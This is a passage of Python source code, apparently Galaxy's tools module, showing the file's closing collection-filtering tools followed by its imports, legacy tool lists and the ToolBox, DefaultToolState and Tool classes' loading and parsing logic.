tag_handler.get_tags_str(dce.element_object.tags).split(",") if tag} if how == "add": old_tags.update(set(new_tags)) elif how == "remove": old_tags = old_tags - set(new_tags) new_tags = old_tags tag_handler.add_tags_from_list( user=history.user, item=copied_value, new_tags_list=new_tags, flush=False ) else: # We have a collection, and we copy the elements so that we don't manipulate the original tags copied_value = dce.element_object.copy(element_destination=history) for new_element, old_element in zip(copied_value.dataset_elements, dce.element_object.dataset_elements): # TODO: This should be eliminated, but collections created by the collection builder # don't set `visible` to `False` if you don't hide the original elements. new_element.element_object.visible = False new_tags = new_tags_dict.get(new_element.element_identifier) if how in ("add", "remove"): old_tags = { tag for tag in tag_handler.get_tags_str(old_element.element_object.tags).split(",") if tag } if new_tags: if how == "add": old_tags.update(set(new_tags)) elif how == "remove": old_tags = old_tags - set(new_tags) new_tags = old_tags tag_handler.add_tags_from_list( user=history.user, item=new_element.element_object, new_tags_list=new_tags, flush=False ) new_elements[dce.element_identifier] = copied_value new_tags_path = new_tags_dataset_assoc.file_name with open(new_tags_path) as fh: new_tags = fh.readlines(1024 * 1000000) # We have a tabular file, where the first column is an existing element identifier, # and the remaining columns represent new tags. source_new_tags = (line.strip().split("\t") for line in new_tags) new_tags_dict = {item[0]: item[1:] for item in source_new_tags} for dce in hdca.collection.elements: add_copied_value_to_new_elements(new_tags_dict, dce) self._add_datasets_to_history(history, new_datasets) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class FilterFromFileTool(DatabaseOperationTool): tool_type = "filter_from_file" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] how_filter = incoming["how"]["how_filter"] filter_dataset_assoc = incoming["how"]["filter_source"] filtered_elements = {} discarded_elements = {} filtered_path = filter_dataset_assoc.file_name with open(filtered_path) as fh: filtered_identifiers = [i.strip() for i in fh.readlines(1024 * 1000000)] # If filtered_dataset_assoc is not a two-column tabular dataset we label with the current line of the dataset for dce in hdca.collection.elements: dce_object = dce.element_object element_identifier = dce.element_identifier in_filter_file = element_identifier in filtered_identifiers passes_filter = in_filter_file if how_filter == "remove_if_absent" else not in_filter_file if getattr(dce_object, "history_content_type", None) == "dataset": copied_value = dce_object.copy(copy_tags=dce_object.tags, flush=False) else: copied_value = dce_object.copy() if passes_filter: filtered_elements[element_identifier] = copied_value else: discarded_elements[element_identifier] = copied_value self._add_datasets_to_history(history, filtered_elements.values()) output_collections.create_collection( self.outputs["output_filtered"], "output_filtered", elements=filtered_elements, propagate_hda_tags=False ) self._add_datasets_to_history(history, discarded_elements.values()) output_collections.create_collection( self.outputs["output_discarded"], "output_discarded", elements=discarded_elements, propagate_hda_tags=False ) # Populate tool_type to ToolClass mappings tool_types = {} TOOL_CLASSES: List[Type[Tool]] = [ Tool, SetMetadataTool, OutputParameterJSONTool, ExpressionTool, InteractiveTool, DataManagerTool, DataSourceTool, AsyncDataSourceTool, UnzipCollectionTool, ZipCollectionTool, MergeCollectionTool, RelabelFromFileTool, FilterFromFileTool, BuildListCollectionTool, ExtractDatasetCollectionTool, DataDestinationTool, ] for tool_class in TOOL_CLASSES: tool_types[tool_class.tool_type] = tool_class # ---- Utility classes to be factored out ----------------------------------- class TracksterConfig: """Trackster configuration encapsulation.""" def __init__(self, actions): self.actions = actions @staticmethod def parse(root): actions = [] for action_elt in root.findall("action"): actions.append(SetParamAction.parse(action_elt)) return TracksterConfig(actions) class SetParamAction: """Set parameter action.""" def __init__(self, name, output_name): self.name = name self.output_name = output_name @staticmethod def parse(elt): """Parse action from element.""" return SetParamAction(elt.get("name"), elt.get("output_name")) class BadValue: def __init__(self, value): self.value = value class InterruptedUpload(Exception): pass
""" Classes encapsulating galaxy tools and tool configuration. """ import itertools import json import logging import math import os import re import tarfile import tempfile import threading from pathlib import Path from typing import ( Any, cast, Dict, List, NamedTuple, Optional, Set, Tuple, Type, TYPE_CHECKING, Union, ) from urllib.parse import unquote_plus import packaging.version import webob.exc from lxml import etree from mako.template import Template from webob.compat import cgi_FieldStorage from galaxy import ( exceptions, model, ) from galaxy.exceptions import ToolInputsNotReadyException from galaxy.job_execution import output_collect from galaxy.metadata import get_metadata_compute_strategy from galaxy.tool_shed.util.repository_util import get_installed_repository from galaxy.tool_shed.util.shed_util_common import set_image_paths from galaxy.tool_util.deps import CachedDependencyManager from galaxy.tool_util.fetcher import ToolLocationFetcher from galaxy.tool_util.loader import ( imported_macro_paths, raw_tool_xml_tree, template_macro_params, ) from galaxy.tool_util.ontologies.ontology_data import ( biotools_reference, expand_ontology_data, ) from galaxy.tool_util.output_checker import DETECTED_JOB_STATE from galaxy.tool_util.parser import ( get_tool_source, get_tool_source_from_representation, RequiredFiles, ToolOutputCollectionPart, ) from galaxy.tool_util.parser.xml import XmlPageSource from galaxy.tool_util.provided_metadata import parse_tool_provided_metadata from galaxy.tool_util.toolbox import BaseGalaxyToolBox from galaxy.tool_util.toolbox.views.sources import StaticToolBoxViewSources from galaxy.tools import expressions from galaxy.tools.actions import ( DefaultToolAction, ToolAction, ) from galaxy.tools.actions.data_manager import DataManagerToolAction from galaxy.tools.actions.data_source import DataSourceToolAction from galaxy.tools.actions.model_operations import ModelOperationToolAction from galaxy.tools.cache import ToolDocumentCache from galaxy.tools.evaluation import global_tool_errors from galaxy.tools.imp_exp import JobImportHistoryArchiveWrapper from galaxy.tools.parameters import ( check_param, params_from_strings, params_to_incoming, params_to_strings, populate_state, visit_input_values, ) from galaxy.tools.parameters.basic import ( BaseURLToolParameter, DataCollectionToolParameter, DataToolParameter, HiddenToolParameter, ImplicitConversionRequired, SelectToolParameter, ToolParameter, workflow_building_modes, ) from galaxy.tools.parameters.dataset_matcher import ( set_dataset_matcher_factory, unset_dataset_matcher_factory, ) from galaxy.tools.parameters.grouping import ( Conditional, ConditionalWhen, Repeat, Section, UploadDataset, ) from galaxy.tools.parameters.input_translation import ToolInputTranslator from galaxy.tools.parameters.meta import expand_meta_parameters from galaxy.tools.parameters.wrapped_json import json_wrap from galaxy.tools.test import parse_tests from galaxy.util import ( in_directory, listify, Params, parse_xml_string, rst_to_html, string_as_bool, unicodify, XML, ) from galaxy.util.bunch import Bunch from galaxy.util.dictifiable import Dictifiable from galaxy.util.expressions import ExpressionContext from galaxy.util.form_builder import SelectField from galaxy.util.json import safe_loads from galaxy.util.rules_dsl import RuleSet from galaxy.util.template import ( fill_template, refactoring_tool, ) from galaxy.util.tool_shed.common_util import ( get_tool_shed_repository_url, get_tool_shed_url_from_tool_shed_registry, ) from galaxy.version import VERSION_MAJOR from galaxy.work.context import proxy_work_context_for_history from .execute import execute as execute_job from .execute import MappingParameters if TYPE_CHECKING: from galaxy.managers.jobs import JobSearch from galaxy.tools.actions.metadata import SetMetadataToolAction log = logging.getLogger(__name__) REQUIRES_JS_RUNTIME_MESSAGE = ( "The tool [%s] requires a nodejs runtime to execute " "but node or nodejs could not be found. Please contact the Galaxy adminstrator" ) HELP_UNINITIALIZED = threading.Lock() MODEL_TOOLS_PATH = os.path.abspath(os.path.dirname(__file__)) # Tools that require Galaxy's Python environment to be preserved. GALAXY_LIB_TOOLS_UNVERSIONED = [ "upload1", "send_to_cloud", "__DATA_FETCH__", "directory_uri", "export_remote", # Legacy tools bundled with Galaxy. "laj_1", "gff2bed1", "gff_filter_by_feature_count", "Interval_Maf_Merged_Fasta2", "GeneBed_Maf_Fasta2", "maf_stats1", "Interval2Maf1", "Interval2Maf_pairwise1", "MAF_To_Interval1", "MAF_filter", "MAF_To_Fasta1", "MAF_Reverse_Complement_1", "MAF_split_blocks_by_species1", "MAF_Limit_To_Species1", "maf_by_block_number1", # Converters "CONVERTER_bed_to_fli_0", "CONVERTER_gff_to_fli_0", "CONVERTER_gff_to_interval_index_0", "CONVERTER_maf_to_fasta_0", "CONVERTER_maf_to_interval_0", # Tools improperly migrated to the tool shed (devteam) "qualityFilter", "pileup_interval", "count_gff_features", "lastz_paired_reads_wrapper", "subRate1", "find_diag_hits", # Tools improperly migrated using Galaxy (from shed other) "column_join", "gd_coverage_distributions", # Genome Diversity tools from miller-lab "gd_dpmix", "gd_pca", "gd_phylogenetic_tree", "gd_population_structure", "gd_prepare_population_structure", ] # Tools that needed galaxy on the PATH in the past but no longer do along # with the version at which they were fixed. GALAXY_LIB_TOOLS_VERSIONED = { "meme_fimo": packaging.version.parse("5.0.5"), "Extract genomic DNA 1": packaging.version.parse("3.0.0"), "fetchflank": packaging.version.parse("1.0.1"), "gops_intersect_1": packaging.version.parse("1.0.0"), "lastz_wrapper_2": packaging.version.parse("1.3"), "PEsortedSAM2readprofile": packaging.version.parse("1.1.1"), "sam_to_bam": packaging.version.parse("1.1.3"), "sam_pileup": packaging.version.parse("1.1.3"), "vcf_to_maf_customtrack1": packaging.version.parse("1.0.1"), "secure_hash_message_digest": packaging.version.parse("0.0.2"), "join1": packaging.version.parse("2.1.3"), "wiggle2simple1": packaging.version.parse("1.0.1"), "CONVERTER_wiggle_to_interval_0": packaging.version.parse("1.0.1"), "aggregate_scores_in_intervals2": packaging.version.parse("1.1.4"), "CONVERTER_fastq_to_fqtoc0": packaging.version.parse("1.0.1"), "CONVERTER_tar_to_directory": packaging.version.parse("1.0.1"), "tabular_to_dbnsfp": packaging.version.parse("1.0.1"), "cufflinks": packaging.version.parse("2.2.1.3"), "Convert characters1": packaging.version.parse("1.0.1"), "substitutions1": packaging.version.parse("1.0.1"), "winSplitter": packaging.version.parse("1.0.1"), } REQUIRE_FULL_DIRECTORY = { "includes": [{"path": "**", "path_type": "glob"}], } IMPLICITLY_REQUIRED_TOOL_FILES: Dict[str, Dict] = { "deseq2": { "version": packaging.version.parse("2.11.40.6"), "required": {"includes": [{"path": "*.R", "path_type": "glob"}]}, }, # minimum example: # "foobar": {"required": REQUIRE_FULL_DIRECTORY} # if no version is specified, all versions without explicit RequiredFiles will be selected "circos": {"required": REQUIRE_FULL_DIRECTORY}, "cp_image_math": {"required": {"includes": [{"path": "cp_common_functions.py", "path_type": "literal"}]}}, "enumerate_charges": {"required": {"includes": [{"path": "site_substructures.smarts", "path_type": "literal"}]}}, "fasta_compute_length": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "fasta_concatenate0": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "filter_tabular": {"required": {"includes": [{"path": "*.py", "path_type": "glob"}]}}, "flanking_features_1": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "gops_intersect_1": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "gops_subtract_1": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "maxquant": {"required": {"includes": [{"path": "mqparam.py", "path_type": "literal"}]}}, "maxquant_mqpar": {"required": {"includes": [{"path": "mqparam.py", "path_type": "literal"}]}}, "query_tabular": {"required": {"includes": [{"path": "*.py", "path_type": "glob"}]}}, "shasta": {"required": {"includes": [{"path": "configs/*", "path_type": "glob"}]}}, "sqlite_to_tabular": {"required": {"includes": [{"path": "*.py", "path_type": "glob"}]}}, "sucos_max_score": {"required": {"includes": [{"path": "utils.py", "path_type": "literal"}]}}, } class safe_update(NamedTuple): min_version: Union[packaging.version.LegacyVersion, packaging.version.Version] current_version: Union[packaging.version.LegacyVersion, packaging.version.Version] # Tool updates that did not change parameters in a way that requires rebuilding workflows WORKFLOW_SAFE_TOOL_VERSION_UPDATES = { "Filter1": safe_update(packaging.version.parse("1.1.0"), packaging.version.parse("1.1.1")), "__BUILD_LIST__": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.1.0")), "__APPLY_RULES__": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.1.0")), "__EXTRACT_DATASET__": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.0.1")), "Grep1": safe_update(packaging.version.parse("1.0.1"), packaging.version.parse("1.0.3")), "Show beginning1": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.0.1")), "Show tail1": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.0.1")), "sort1": safe_update(packaging.version.parse("1.1.0"), packaging.version.parse("1.2.0")), } class ToolNotFoundException(Exception): pass def create_tool_from_source(app, tool_source, config_file=None, **kwds): # Allow specifying a different tool subclass to instantiate tool_module = tool_source.parse_tool_module() if tool_module is not None: module, cls = tool_module mod = __import__(module, globals(), locals(), [cls]) ToolClass = getattr(mod, cls) elif tool_source.parse_tool_type(): tool_type = tool_source.parse_tool_type() ToolClass = tool_types.get(tool_type) else: # Normal tool root = getattr(tool_source, "root", None) ToolClass = Tool tool = ToolClass(config_file, tool_source, app, **kwds) return tool class ToolBox(BaseGalaxyToolBox): """A derivative of AbstractToolBox with knowledge about Tool internals - how to construct them, action types, dependency management, etc.... """ def __init__(self, config_filenames, tool_root_dir, app, save_integrated_tool_panel=True): self._reload_count = 0 self.tool_location_fetcher = ToolLocationFetcher() self.cache_regions = {} # This is here to deal with the old default value, which doesn't make # sense in an "installed Galaxy" world. # FIXME: ./ if tool_root_dir == "./tools": tool_root_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), "bundled")) view_sources = StaticToolBoxViewSources( view_directories=app.config.panel_views_dir, view_dicts=app.config.panel_views, ) default_panel_view = app.config.default_panel_view super().__init__( config_filenames=config_filenames, tool_root_dir=tool_root_dir, app=app, view_sources=view_sources, default_panel_view=default_panel_view, save_integrated_tool_panel=save_integrated_tool_panel, ) def persist_cache(self, register_postfork=False): """ Persists any modified tool cache files to disk. Set ``register_postfork`` to stop database thread queue, close database connection and register re-open function that re-opens the database after forking. """ for region in self.cache_regions.values(): if not region.disabled: region.persist() if register_postfork: region.close() self.app.application_stack.register_postfork_function(region.reopen_ro) def can_load_config_file(self, config_filename): if config_filename == self.app.config.shed_tool_config_file and not self.app.config.is_set( "shed_tool_config_file" ): if self.dynamic_confs(): # Do not load or create a default shed_tool_config_file if another shed_tool_config file has already been loaded return False elif self.app.config.is_set("tool_config_file"): log.warning( "The default shed tool config file (%s) has been added to the tool_config_file option, if this is " "not the desired behavior, please set shed_tool_config_file to your primary shed-enabled tool " "config file", self.app.config.shed_tool_config_file, ) return True def has_reloaded(self, other_toolbox): return self._reload_count != other_toolbox._reload_count @property def all_requirements(self): reqs = {req for _, tool in self.tools() for req in tool.tool_requirements} return [r.to_dict() for r in reqs] @property def tools_by_id(self): # Deprecated method, TODO - eliminate calls to this in test/. return self._tools_by_id def get_cache_region(self, tool_cache_data_dir): if self.app.config.enable_tool_document_cache: if tool_cache_data_dir not in self.cache_regions: self.cache_regions[tool_cache_data_dir] = ToolDocumentCache(cache_dir=tool_cache_data_dir) return self.cache_regions[tool_cache_data_dir] def create_tool(self, config_file, tool_cache_data_dir=None, **kwds): cache = self.get_cache_region(tool_cache_data_dir or self.app.config.tool_cache_data_dir) if config_file.endswith(".xml") and cache and not cache.disabled: tool_document = cache.get(config_file) if tool_document: tool_source = self.get_expanded_tool_source( config_file=config_file, xml_tree=etree.ElementTree(etree.fromstring(tool_document["document"].encode("utf-8"))), macro_paths=tool_document["macro_paths"], ) else: tool_source = self.get_expanded_tool_source(config_file) cache.set(config_file, tool_source) else: tool_source = self.get_expanded_tool_source(config_file) tool = self._create_tool_from_source(tool_source, config_file=config_file, **kwds) if not self.app.config.delay_tool_initialization: tool.assert_finalized(raise_if_invalid=True) return tool def get_expanded_tool_source(self, config_file, **kwargs): try: return get_tool_source( config_file, enable_beta_formats=getattr(self.app.config, "enable_beta_tool_formats", False), tool_location_fetcher=self.tool_location_fetcher, **kwargs, ) except Exception as e: # capture and log parsing errors global_tool_errors.add_error(config_file, "Tool XML parsing", e) raise e def _create_tool_from_source(self, tool_source, **kwds): return create_tool_from_source(self.app, tool_source, **kwds) def create_dynamic_tool(self, dynamic_tool, **kwds): tool_format = dynamic_tool.tool_format tool_representation = dynamic_tool.value tool_source = get_tool_source_from_representation( tool_format=tool_format, tool_representation=tool_representation, ) kwds["dynamic"] = True tool = self._create_tool_from_source(tool_source, **kwds) tool.dynamic_tool = dynamic_tool tool.uuid = dynamic_tool.uuid if not tool.id: tool.id = dynamic_tool.tool_id if not tool.name: tool.name = tool.id return tool def get_tool_components(self, tool_id, tool_version=None, get_loaded_tools_by_lineage=False, set_selected=False): """ Retrieve all loaded versions of a tool from the toolbox and return a select list enabling selection of a different version, the list of the tool's loaded versions, and the specified tool. """ toolbox = self tool_version_select_field = None tools = [] tool = None # Backwards compatibility for datasource tools that have default tool_id configured, but which # are now using only GALAXY_URL. tool_ids = listify(tool_id) for tool_id in tool_ids: if tool_id.endswith("/"): # Some data sources send back redirects ending with `/`, this takes care of that case tool_id = tool_id[:-1] if get_loaded_tools_by_lineage: tools = toolbox.get_loaded_tools_by_lineage(tool_id) else: tools = toolbox.get_tool(tool_id, tool_version=tool_version, get_all_versions=True) if tools: tool = toolbox.get_tool(tool_id, tool_version=tool_version, get_all_versions=False) if len(tools) > 1: tool_version_select_field = self.__build_tool_version_select_field(tools, tool.id, set_selected) break return tool_version_select_field, tools, tool def _path_template_kwds(self): return { "model_tools_path": MODEL_TOOLS_PATH, } def _get_tool_shed_repository(self, tool_shed, name, owner, installed_changeset_revision): # Abstract toolbox doesn't have a dependency on the database, so # override _get_tool_shed_repository here to provide this information. return get_installed_repository( self.app, tool_shed=tool_shed, name=name, owner=owner, installed_changeset_revision=installed_changeset_revision, from_cache=True, ) def __build_tool_version_select_field(self, tools, tool_id, set_selected): """Build a SelectField whose options are the ids for the received list of tools.""" options: List[Tuple[str, str]] = [] for tool in tools: options.insert(0, (tool.version, tool.id)) select_field = SelectField(name="tool_id") for option_tup in options: selected = set_selected and option_tup[1] == tool_id if selected: select_field.add_option(f"version {option_tup[0]}", option_tup[1], selected=True) else: select_field.add_option(f"version {option_tup[0]}", option_tup[1]) return select_field class DefaultToolState: """ Keeps track of the state of a users interaction with a tool between requests. """ def __init__(self): self.page = 0 self.rerun_remap_job_id = None self.inputs = {} def initialize(self, trans, tool): """ Create a new `DefaultToolState` for this tool. It will be initialized with default values for inputs. Grouping elements are filled in recursively. """ self.inputs = {} context = ExpressionContext(self.inputs) for input in tool.inputs.values(): self.inputs[input.name] = input.get_initial_value(trans, context) def encode(self, tool, app, nested=False): """ Convert the data to a string """ value = params_to_strings(tool.inputs, self.inputs, app, nested=nested) value["__page__"] = self.page value["__rerun_remap_job_id__"] = self.rerun_remap_job_id return value def decode(self, values, tool, app): """ Restore the state from a string """ values = safe_loads(values) or {} self.page = values.pop("__page__") if "__page__" in values else None self.rerun_remap_job_id = values.pop("__rerun_remap_job_id__") if "__rerun_remap_job_id__" in values else None self.inputs = params_from_strings(tool.inputs, values, app, ignore_errors=True) def copy(self): """ Shallow copy of the state """ new_state = DefaultToolState() new_state.page = self.page new_state.rerun_remap_job_id = self.rerun_remap_job_id new_state.inputs = self.inputs return new_state class _Options(Bunch): sanitize: str refresh: str class Tool(Dictifiable): """ Represents a computational tool that can be executed through Galaxy. """ tool_type = "default" requires_setting_metadata = True produces_entry_points = False default_tool_action = DefaultToolAction tool_action: ToolAction tool_type_local = False dict_collection_visible_keys = ["id", "name", "version", "description", "labels"] __help: Optional[threading.Lock] __help_by_page: Union[threading.Lock, List[str]] job_search: "JobSearch" version: str def __init__( self, config_file, tool_source, app, guid=None, repository_id=None, tool_shed_repository=None, allow_code_files=True, dynamic=False, tool_dir=None, ): """Load a tool from the config named by `config_file`""" # Determine the full path of the directory where the tool config is if config_file is not None: self.config_file = config_file self.tool_dir = tool_dir or os.path.dirname(config_file) else: self.config_file = None self.tool_dir = tool_dir self.app = app self.repository_id = repository_id self._allow_code_files = allow_code_files # setup initial attribute values self.stdio_exit_codes = list() self.stdio_regexes = list() self.inputs_by_page = list() self.display_by_page = list() self.action: Union[str, Tuple[str, str]] = "/tool_runner/index" self.target = "galaxy_main" self.method = "post" self.labels = [] self.check_values = True self.nginx_upload = False self.input_required = False self.display_interface = True self.require_login = False self.rerun = False # This will be non-None for tools loaded from the database (DynamicTool objects). self.dynamic_tool = None # Define a place to keep track of all input These # differ from the inputs dictionary in that inputs can be page # elements like conditionals, but input_params are basic form # parameters like SelectField objects. This enables us to more # easily ensure that parameter dependencies like index files or # tool_data_table_conf.xml entries exist. self.input_params = [] # Attributes of tools installed from Galaxy tool sheds. self.tool_shed = None self.repository_name = None self.repository_owner = None self.changeset_revision = None self.installed_changeset_revision = None self.sharable_url = None # The tool.id value will be the value of guid, but we'll keep the # guid attribute since it is useful to have. self.guid = guid self.old_id = None self.python_template_version = None self._lineage = None self.dependencies = [] # populate toolshed repository info, if available self.populate_tool_shed_info(tool_shed_repository) # add tool resource parameters self.populate_resource_parameters(tool_source) self.tool_errors = None # Parse XML element containing configuration self.tool_source = tool_source self._is_workflow_compatible = None self.finalized = False try: self.parse(tool_source, guid=guid, dynamic=dynamic) except Exception as e: global_tool_errors.add_error(config_file, "Tool Loading", e) raise e # The job search is only relevant in a galaxy context, and breaks # loading tools into the toolshed for validation. if self.app.name == "galaxy": self.job_search = self.app.job_search def __getattr__(self, name): lazy_attributes = { "action", "check_values", "display_by_page", "enctype", "has_multiple_pages", "inputs", "inputs_by_page", "last_page", "method", "npages", "nginx_upload", "target", "template_macro_params", "outputs", "output_collections", } if name in lazy_attributes: self.assert_finalized() return getattr(self, name) raise AttributeError(name) def assert_finalized(self, raise_if_invalid=False): if self.finalized is False: try: self.parse_inputs(self.tool_source) self.parse_outputs(self.tool_source) self.finalized = True except Exception: toolbox = getattr(self.app, "toolbox", None) if toolbox: toolbox.remove_tool_by_id(self.id) if raise_if_invalid: raise else: log.warning( "An error occured while parsing the tool wrapper xml, the tool is not functional", exc_info=True ) def remove_from_cache(self): source_path = self.tool_source._source_path if source_path: for region in self.app.toolbox.cache_regions.values(): region.delete(source_path) @property def history_manager(self): return self.app.history_manager @property def _view(self): return self.app.dependency_resolvers_view @property def version_object(self): return packaging.version.parse(self.version) @property def sa_session(self): """Returns a SQLAlchemy session""" return self.app.model.context @property def lineage(self): """Return ToolLineage for this tool.""" return self._lineage @property def tool_versions(self): # If we have versions, return them. if self.lineage: return list(self.lineage.tool_versions) else: return [] @property def is_latest_version(self): tool_versions = self.tool_versions return not tool_versions or self.version == self.tool_versions[-1] @property def latest_version(self): if self.is_latest_version: return self else: return self.app.tool_cache.get_tool_by_id(self.lineage.get_versions()[-1].id) @property def is_datatype_converter(self): return self in self.app.datatypes_registry.converter_tools @property def tool_shed_repository(self): # If this tool is included in an installed tool shed repository, return it. if self.tool_shed: return get_installed_repository( self.app, tool_shed=self.tool_shed, name=self.repository_name, owner=self.repository_owner, installed_changeset_revision=self.installed_changeset_revision, from_cache=True, ) @property def produces_collections_with_unknown_structure(self): def output_is_dynamic(output): if not output.collection: return False return output.dynamic_structure return any(map(output_is_dynamic, self.outputs.values())) @property def valid_input_states(self): return model.Dataset.valid_input_states @property def requires_galaxy_python_environment(self): """Indicates this tool's runtime requires Galaxy's Python environment.""" # All special tool types (data source, history import/export, etc...) # seem to require Galaxy's Python. # FIXME: the (instantiated) tool class should emit this behavior, and not # use inspection by string check if self.tool_type not in ["default", "manage_data", "interactive", "data_source"]: return True if self.tool_type == "manage_data" and self.profile < 18.09: return True if self.tool_type == "data_source" and self.profile < 21.09: return True config = self.app.config preserve_python_environment = config.preserve_python_environment if preserve_python_environment == "always": return True elif preserve_python_environment == "legacy_and_local" and self.tool_shed is None: return True else: unversioned_legacy_tool = self.old_id in GALAXY_LIB_TOOLS_UNVERSIONED versioned_legacy_tool = self.old_id in GALAXY_LIB_TOOLS_VERSIONED legacy_tool = unversioned_legacy_tool or ( versioned_legacy_tool and self.old_id and self.version_object < GALAXY_LIB_TOOLS_VERSIONED[self.old_id] ) return legacy_tool def __get_job_tool_configuration(self, job_params=None): """Generalized method for getting this tool's job configuration. :type job_params: dict or None :returns: `galaxy.jobs.JobToolConfiguration` -- JobToolConfiguration that matches this `Tool` and the given `job_params` """ rval = None if len(self.job_tool_configurations) == 1: # If there's only one config, use it rather than wasting time on comparisons rval = self.job_tool_configurations[0] elif job_params is None: for job_tool_config in self.job_tool_configurations: if not job_tool_config.params: rval = job_tool_config break else: for job_tool_config in self.job_tool_configurations: if job_tool_config.params: # There are job params and this config has params defined for param, value in job_params.items(): if param not in job_tool_config.params or job_tool_config.params[param] != value: break else: # All params match, use this config rval = job_tool_config break else: rval = job_tool_config assert ( rval is not None ), f"Could not get a job tool configuration for Tool {self.id} with job_params {job_params}, this is a bug" return rval def get_configured_job_handler(self, job_params=None): """Get the configured job handler for this `Tool` given the provided `job_params`. Unlike the former ``get_job_handler()`` method, this does not perform "preassignment" (random selection of a configured handler ID from a tag). :param job_params: Any params specific to this job (e.g. the job source) :type job_params: dict or None :returns: str or None -- The configured handler for a job run of this `Tool` """ return self.__get_job_tool_configuration(job_params=job_params).handler def get_job_destination(self, job_params=None): """ :returns: galaxy.jobs.JobDestination -- The destination definition and runner parameters. """ return self.app.job_config.get_destination(self.__get_job_tool_configuration(job_params=job_params).destination) def get_panel_section(self): return self.app.toolbox.get_section_for_tool(self) def allow_user_access(self, user, attempting_access=True): """ :returns: bool -- Whether the user is allowed to access the tool. """ if self.require_login and user is None: return False return True def parse(self, tool_source, guid=None, dynamic=False): """ Read tool configuration from the element `root` and fill in `self`. """ self.profile = float(tool_source.parse_profile()) # Get the UNIQUE id for the tool self.old_id = tool_source.parse_id() if guid is None: self.id = self.old_id else: self.id = guid if not dynamic and not self.id: raise Exception(f"Missing tool 'id' for tool at '{tool_source}'") profile = packaging.version.parse(str(self.profile)) if ( self.app.name == "galaxy" and profile >= packaging.version.parse("16.04") and packaging.version.parse(VERSION_MAJOR) < profile ): message = f"The tool [{self.id}] targets version {self.profile} of Galaxy, you should upgrade Galaxy to ensure proper functioning of this tool." raise Exception(message) self.python_template_version = tool_source.parse_python_template_version() if self.python_template_version is None: # If python_template_version not specified we assume tools with profile versions >= 19.05 are python 3 ready if self.profile >= 19.05: self.python_template_version = packaging.version.parse("3.5") else: self.python_template_version = packaging.version.parse("2.7") # Get the (user visible) name of the tool self.name = tool_source.parse_name() if not self.name and dynamic: self.name = self.id if not dynamic and not self.name: raise Exception(f"Missing tool 'name' for tool with id '{self.id}' at '{tool_source}'") self.version = tool_source.parse_version() if not self.version: if self.profile < 16.04: # For backward compatibility, some tools may not have versions yet. self.version = "1.0.0" else: raise Exception(f"Missing tool 'version' for tool with id '{self.id}' at '{tool_source}'") # Legacy feature, ignored by UI. self.force_history_refresh = False self.display_interface = tool_source.parse_display_interface(default=self.display_interface) self.require_login = tool_source.parse_require_login(self.require_login) request_param_translation_elem = tool_source.parse_request_param_translation_elem() if request_param_translation_elem is not None: # Load input translator, used by datasource tools to change names/values of incoming parameters self.input_translator = ToolInputTranslator.from_element(request_param_translation_elem) else: self.input_translator = None self.parse_command(tool_source) self.environment_variables = self.parse_environment_variables(tool_source) self.tmp_directory_vars = tool_source.parse_tmp_directory_vars() home_target = tool_source.parse_home_target() tmp_target = tool_source.parse_tmp_target() # If a tool explicitly sets one of these variables just respect that and turn off # explicit processing by Galaxy. for environment_variable in self.environment_variables: if environment_variable.get("name") == "HOME": home_target = None continue for tmp_directory_var in self.tmp_directory_vars: if environment_variable.get("name") == tmp_directory_var: tmp_target = None break self.home_target = home_target self.tmp_target = tmp_target self.docker_env_pass_through = tool_source.parse_docker_env_pass_through() if self.environment_variables: if not self.docker_env_pass_through: self.docker_env_pass_through = [] self.docker_env_pass_through.extend(map(lambda x: x["name"], self.environment_variables)) # Parameters used to build URL for redirection to external app redirect_url_params = tool_source.parse_redirect_url_params_elem() if redirect_url_params is not None and redirect_url_params.text is not None: # get rid of leading / trailing white space redirect_url_params = redirect_url_params.text.strip() # Replace remaining white space with something we can safely split on later # when we are building the params self.redirect_url_params = redirect_url_params.replace(" ", "**^**") else: self.redirect_url_params = "" # Short description of the tool self.description = tool_source.parse_description() # Versioning for tools self.version_string_cmd = None version_command = tool_source.parse_version_command() if version_command is not None: self.version_string_cmd = version_command.strip() version_cmd_interpreter = tool_source.parse_version_command_interpreter() if version_cmd_interpreter: executable = self.version_string_cmd.split()[0] abs_executable = os.path.abspath(os.path.join(self.tool_dir, executable)) command_line = self.version_string_cmd.replace(executable, abs_executable, 1) self.version_string_cmd = f"{version_cmd_interpreter} {command_line}" # Parallelism for tasks, read from tool config. self.parallelism = tool_source.parse_parallelism() # Get JobToolConfiguration(s) valid for this particular Tool. At least # a 'default' will be provided that uses the 'default' handler and # 'default' destination. I thought about moving this to the # job_config, but it makes more sense to store here. -nate if self.id: self_ids = [self.id.lower()] if self.old_id != self.id: # Handle toolshed guids self_ids = [self.id.lower(), self.id.lower().rsplit("/", 1)[0], self.old_id.lower()] else: self_ids = [] self.all_ids = self_ids # In the toolshed context, there is no job config. if hasattr(self.app, "job_config"): # Order of this list must match documentation in job_conf.sample_advanced.yml tool_classes = [] if self.tool_type_local: tool_classes.append("local") elif self.old_id in ["upload1", "__DATA_FETCH__"]: tool_classes.append("local") if self.requires_galaxy_python_environment: tool_classes.append("requires_galaxy") self.job_tool_configurations = self.app.job_config.get_job_tool_configurations(self_ids, tool_classes) # Is this a 'hidden' tool (hidden in tool menu) self.hidden = tool_source.parse_hidden() self.license = tool_source.parse_license() self.creator = tool_source.parse_creator() self.__parse_legacy_features(tool_source) # Load any tool specific options (optional) self.options = _Options( **dict( sanitize=tool_source.parse_sanitize(), refresh=tool_source.parse_refresh(), ) ) # Read in name of galaxy.json metadata file and how to parse it. self.provided_metadata_file = tool_source.parse_provided_metadata_file() self.provided_metadata_style = tool_source.parse_provided_metadata_style() # Parse tool help self.parse_help(tool_source) # Parse result handling for tool exit codes and stdout/stderr messages: self.parse_stdio(tool_source) self.strict_shell = tool_source.parse_strict_shell() # Any 